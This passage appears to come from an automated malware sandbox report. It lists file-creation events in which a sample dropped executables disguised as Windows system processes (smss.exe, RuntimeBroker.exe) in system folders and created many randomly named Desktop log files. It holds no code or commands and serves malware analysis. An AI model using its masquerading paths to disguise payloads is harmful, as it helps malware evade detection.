                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Program Files\Uninstall Information\smss.exeJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PdOklALl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FbzvpqBU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HcPBaEHS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\sldNxkwh.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LCQsRpHx.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CvhdKpmN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DcFucYbv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MeAtuRrv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SXdSXxwk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vxjLKDgG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OkIkBytc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\KDfbGRAO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\AkBKmAvu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nOBNlzhI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cmVzZJrz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\pACFciry.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tjfGpRQj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SQtrKQCA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kzlFjIGv.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\giLnrsnt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zFqnDsmU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RPxbDTqT.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\oRCevKfU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jzQayrzU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kucPsHQR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FTPcKHbO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CXuUcpmv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xYvLahMV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JUiTFEgk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kaLnoNfb.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cJhXlcmL.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\NkgVUECczLKUWJoEOfo.exeJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\TUFasxLe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gcLqgFrs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DSzWZtVQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\sliWjwCr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\dnRPfGDg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\AGgFSeej.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FerdyHgq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gGHpEGho.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EEctoaMI.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\rWqdbEib.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ayRrnvvB.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DQYlDNRK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EbrBtxwn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WtsawdmK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xLDDFxvn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tKswHRQQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bVcPzPqN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PNLtijlY.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\ishosKSu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YweISMqG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lbIDvKrH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\iCJxNIrA.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\EvAkSdoC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\msFxGQxC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mtbZqlwz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\fhUgXGhV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CUBmTYHY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GoLtprLU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MLYKMAhd.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jdkfTNQg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\uOEfpyZu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LuLvCpZR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\qVyWGScD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mpMPxzTg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bwRAVtPf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jvBQFFVB.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\BFJtLgnJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ZQwKOPum.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GdejPgAj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PiduemoF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SkWashNS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OyuueWqt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\qghUmdAy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CTwchNCP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YBnyINgj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\aLJzIfLk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cgwfqyWr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kwnOogWP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DsyTISqq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\UBZIRdMt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\laxFzmmK.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\RPyQJTEc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DmZKTIGZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lBIGMmXi.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\OWjhYWSe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\eksYBGSa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bWhYlawW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vOqdYZaJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HdldKaGP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YxpHNlwD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WqzsnMHo.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xZWxwORc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\odKZrBvL.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\eWBEmWPB.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\eGIfGcBG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mJHGjalv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cVOhKnxw.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\IsIaGzVN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\Ugdrnucn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HHTkwVXM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GqWrkPRR.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exeJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jYgyOYgM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zamDhbWa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PUhSdrgW.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\flkfWsYy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\fRPzNptz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nmeEvdWI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\beRrPJXc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kwriUrOP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RjMIUKBA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SDBjpglR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ZuRPjlLy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mhXybFYI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OnvJYDSq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\QMxzzIGQ.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\XzsXIPiL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cFxiHZBR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ubimtJqr.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\TYajduIQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ETvmfrix.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LXUCbnlf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vsffFOwm.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\czNHusHi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\KFtuhByL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DWUeKrTC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gtPhjWRF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\npbvqFGo.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JJGTREbI.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\ghXFmpvC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MVHIsMFX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\BBtuMuwg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LSGshBHL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WEaYcoKF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tGemOfmw.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\HgfAZqyv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\szwGoBSX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RvybggSu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\dzDircTa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\krpqVCsE.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\axSgtvJK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GzJevKjX.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Program Files\Uninstall Information\smss.exeJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JJBKftVy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vLfoLyop.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EKCBdlwZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WJzBtwzr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\msAnVFrt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HIpNgqWJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OaDBDTBH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jbZgXoKi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\knEvJxvJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\hlRNoOrO.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\TAegQgOV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tnAOaONV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zmODVbbC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\XcyAVMRH.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\vMgUiAiU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gFxXhjWW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\IBwMQtoS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vbEWLcJT.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\RuntimeBroker.exeJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nTbWaKQZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CpxCxIse.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bTjskyyi.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\BvmtbuUM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\rulgoRcW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\hCYfCjlQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kEhyqmIn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GHObKKRD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\USgagzGv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mVoPJlwh.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xRmeReqW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\KxKbDRXG.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\PDpiExgk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\aFkfZUqc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WbCjOPFa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YkCIeMle.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lkvqFFKN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MeqbWvgd.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DOeOnwYe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OtVRNOBH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vvYNOfbJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FCiWZKUc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\QpirumWl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\wPmufWmp.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\xxMkqOtN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\qoQnRMbD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SOkiUrKM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\poepilap.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\VaMRzdNM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WREyIwhX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JgNirMRL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\dCYqcZQM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FHzuREdv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\emHqcqPY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\awNfpiXf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\NJLRdZBV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\TPgybpWs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ufLyEUTx.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RmJzPmlg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WiQaIdhi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CvXLmSbv.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\apiNPMiE.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nqDhMlLu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EjbTYgWt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lEBoVCBE.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\VZCzbHCt.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\BnCbxKtG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CCpKTrIN.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\kglwdYOs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ukcWvOcP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\IBCLIEHl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nxLOVoht.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xVHnDcnI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ieyYBown.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RfECAmDA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gOqIjpIu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PFbaDAKS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zcIfRxVX.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\ldNEzYdn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\wYgehcYN.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\NkgVUECczLKUWJoEOfo.exeJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\RuntimeBroker.exeJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\xxMkqOtN.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\flkfWsYy.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\EvAkSdoC.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\vMgUiAiU.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\ldNEzYdn.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\apiNPMiE.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\BFJtLgnJ.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\rWqdbEib.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\ishosKSu.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\giLnrsnt.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\PDpiExgk.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\ghXFmpvC.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\eWBEmWPB.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\BvmtbuUM.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\TAegQgOV.logJump to dropped file
